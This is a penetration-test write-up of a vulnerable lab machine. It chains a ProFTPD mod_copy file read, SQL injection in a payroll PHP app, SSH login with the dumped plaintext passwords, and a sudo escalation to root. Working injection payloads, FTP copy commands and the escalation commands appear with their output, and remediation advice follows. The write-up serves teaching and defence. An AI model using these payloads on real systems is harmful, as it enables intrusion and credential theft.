Skip to main content

Writeup — Vuln (Payroll SQLi → SSH → sudo Root)

Target: 192.168.1.14 · vuln.lan · Ubuntu 14.04 · hostname vuln
Attacker: 192.168.1.244 (hostname jim, user bob)
Objective: exploit the easiest / quickest service. Result: full root compromise via web-app SQL injection.

Attack chain at a glance

StepServiceVulnerabilityImpact
121/tcp ProFTPD 1.3.5CVE-2015-3306 (mod_copy)Unauth file read / copy
280/tcp payroll_app.phpSQLi (stacked multi_query)DB creds + 15 user passwords leaked
322/tcp SSHWeak / reused passwordsShell as leia_organa (sudo group)
4— sudoUser in sudo group, (ALL:ALL) ALLPrivilege escalation → uid=0

Table of Contents

1. Reconnaissance

1

Locate the target

Hostname of the local box is jim, so vuln is another host. It resolves on the LAN via mDNS/DNS:

$ getent hosts vuln
192.168.1.14    vuln.lan
$ ping -c1 vuln
64 bytes from vuln.lan (192.168.1.14): icmp_seq=1 ttl=64 time=0.199 ms

2

Port scan (non-root connect scan)

nmap -sT -sV --top-ports 1000 -T4 -Pn 192.168.1.14

PORT     STATE  SERVICE     VERSION
21/tcp   open   ftp         ProFTPD 1.3.5
22/tcp   open   ssh         OpenSSH 6.6.1p1 Ubuntu
80/tcp   open   http        Apache httpd 2.4.7
445/tcp  open   netbios-ssn Samba smbd 3.X - 4.X
631/tcp  open   ipp         CUPS 1.7
3306/tcp open   mysql       MySQL (unauthorized)
8080/tcp open   http        Jetty 8.1.7.v20120910
Service Info: Host: VULN; OSs: Unix, Linux

Aged Ubuntu 14.04 footprint. The obvious quick win is ProFTPD 1.3.5 (CVE-2015-3306), followed by the custom web app on port 80.

2. Port 21 — ProFTPD mod_copy (CVE-2015-3306)

3

The vulnerability

mod_copy exposes SITE CPFR (source) / SITE CPTO (destination) to unauthenticated clients — a built-in remote cp. First confirm the SITE commands are accepted and that no login is required:

> SITE CPFR /etc/passwd
  350 File or directory exists, ready for destination name

Confirmed: the command is honored before authentication.

4

Copy /etc/passwd into the webroot

> SITE CPFR /etc/passwd
  350 File or directory exists, ready for destination name
> SITE CPTO /var/www/html/passwd.txt
  250 Copy successful

$ curl -s http://192.168.1.14/passwd.txt | head -4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
vagrant:x:900:900:vagrant,,,:/home/vagrant:/bin/bash
leia_organa:x:1111:100::/home/leia_organa:/bin/bash
luke_skywalker:x:1112:100::/home/luke_skywalker:/bin/bash

Port 21 broken: unauthenticated arbitrary file read. The user list reveals a Star Wars theme (leia_organa, luke_skywalker, han_solo, ...). Attempting to read /etc/shadow fails with 550 CPTO: Permission denied — the copy primitive runs with guest privileges, so world-readable files only.

3. Web Enumeration

5

What's on the web ports

GET http://192.168.1.14/      Apache 2.4.7  ->  /chat/  /drupal/  /payroll_app.php  /phpmyadmin/
GET http://192.168.1.14:8080/  Jetty 8.1.7   ->  /continuum  Apache Continuum 1.4.2

payroll_app.php is a custom login form — prime SQLi candidate. Drupal 7.5 and phpMyAdmin are also present but the payroll app is the fastest path.

6

Read the PHP source via the FTP copy primitive

The FTP bug can copy any world-readable file into the webroot — including the application's own .php source (copied to .txt so Apache serves it):

> SITE CPFR /var/www/html/payroll_app.php
> SITE CPTO /var/www/html/payroll_app.txt
  250 Copy successful

$ curl -s http://192.168.1.14/payroll_app.txt
$conn = new mysqli('127.0.0.1', 'root', 'sploitme', 'payroll');
...
$sql = "select username, first_name, last_name, salary from users
        where username = '$user' and password = '$pass'";
if ($conn->multi_query($sql)) { ... }

Two findings: hardcoded DB credentials root:sploitme, and the query is built by string concatenation inside a multi_query() call — meaning stacked queries are possible (statement separation via ;).

4. Port 80 — Payroll App SQL Injection

7

Confirm the injection

curl -s -d "user=x&password=' or '1'='1&s=1" http://192.168.1.14/payroll_app.php

Welcome, x
leia_organa / Leia / Organa / 9560
luke_skywalker / Luke / Skywalker / 1080
... (all 15 users)

Authentication bypass confirmed — the entire payroll table is dumped.

8

Stacked queries — interrogate MySQL

user = ' ; select user(), @@secure_file_priv, @@version, @@datadir -- 

root@localhost  /var/lib/mysql-files/  5.5.62-0ubuntu0.14.04.1  /var/lib/mysql-default/

We are effectively root@localhost in MySQL. An attempt to plant a webshell via SELECT ... INTO OUTFILE '/var/www/html/w.php' failed because secure_file_priv restricts writes to /var/lib/mysql-files/, and that directory is not readable by the FTP copy user (550). The classic OUTFILE→webroot trick is blocked here — pivot instead to the credential dump.

5. Database Credential Dump

9

Enumerate schema, then dump the users table

# schema
user = ' ; select table_schema, table_name from information_schema.tables
                 where table_schema not in ('information_schema','performance_schema') -- 
...drupal* (60+ tables) ... payroll.users ...

# the payroll table has a password column we hadn't seen yet
user = ' ; select column_name from information_schema.columns
                 where table_schema='payroll' and table_name='users' -- 
username  first_name  last_name  password  salary

10

Dump usernames + plaintext passwords

user = ' ; select username, password from payroll.users -- 

leia_organa     help_me_obiwan
luke_skywalker  like_my_father_beforeme
han_solo        nerf_herder
artoo_detoo     b00p_b33p
c_three_pio     Pr0t0c07
ben_kenobi      thats_no_m00n
darth_vader     Dark_syD3
anakin_skywalker but_master:(
jarjar_binks    mesah_p@ssw0rd
lando_calrissian @dm1n1str8r
boba_fett       mandalorian1
jabba_hutt      my_kinda_skum
greedo          hanSh0tF1rst
chewbacca       rwaaaaawr8
kylo_ren        Daddy_Issues2

Fifteen plaintext credentials. These map directly to the /etc/passwd users — classic credential reuse / storage.

6. SSH Access

11

Log in over SSH

$ ssh leia_organa@192.168.1.14   (password: help_me_obiwan)

leia_organa@vuln:~$ id
uid=1111(leia_organa) gid=100(users) groups=100(users),27(sudo)

Shell on vuln as leia_organa — and she is a member of the sudo group.

7. Privilege Escalation to Root

12

Check sudo rights and escalate

$ echo 'help_me_obiwan' | sudo -S -l
User leia_organa may run the following commands on vuln:
    (ALL : ALL) ALL

$ echo 'help_me_obiwan' | sudo -S su - root -c 'id; hostname'
uid=0(root) gid=0(root) groups=0(root)
vuln

Full root compromise. Verified by reading /etc/shadow (root's entry is locked with !, all other accounts present).

8. Cleanup

13

Remove test artifacts

# remove webroot copies planted via the FTP bug:
rm -f /var/www/html/passwd.txt /var/www/html/payroll_app.txt \
      /var/www/html/apache2.conf.txt /var/www/html/ports.conf.txt \
      /var/www/html/000-default.conf.txt
# local temp shell file that never made it onto the box:
rm -f /tmp/opencode/shell.php

Verify the webroot index is back to its original state (/chat/ /drupal/ /payroll_app.php /phpmyadmin/).

9. How the Services Should Be Fixed

  • Patch / upgrade ProFTPD. 1.3.5's mod_copy must not honor SITE CPFR/CPTO for unauthenticated clients; upgrade to 1.3.5e+ and disable mod_copy if unused.
  • Fix the SQL injection. Use parameterized queries / prepared statements in payroll_app.php; never concatenate user input into SQL — especially with multi_query(), which enables stacked statements.
  • Remove hardcoded DB credentials from source. root:sploitme should live in an environment secret, and the app account needs least privilege, not root.
  • Stop storing plaintext passwords. Hash with a KDF (bcrypt/argon2) and rotate the leaked passwords; they were reused for SSH.
  • Restrict the sudo group. These Star Wars users do not need (ALL:ALL) ALL; drop them from the sudo group.
  • Least privilege for MySQL. Disable FILE privilege and tighten secure_file_priv so a compromise cannot write attacker-controlled files.

10. Key Takeaways

  • Fastest path was the web app, not the banner. ProFTPD gave unauthenticated file read, but the payroll SQLi turned into a full credential dump and root.
  • Read source when you can. The FTP file-copy bug was reused to exfiltrate the PHP source, exposing DB creds and the multi_query weakness.
  • Always verify assumptions. secure_file_priv blocked the classic OUTFILE webshell — don't assume MySQL can write to the webroot; pivot instead.
  • Credential reuse is the multiplier. Plaintext app passwords were the SSH passwords, and SSH landed us in the sudo group — instant root.
  • Leave no trace. Every artifact planted in the webroot was removed.

Result: full root compromise (uid=0) on 192.168.1.14 via payroll_app.php SQLi → credential dump → SSH → sudo.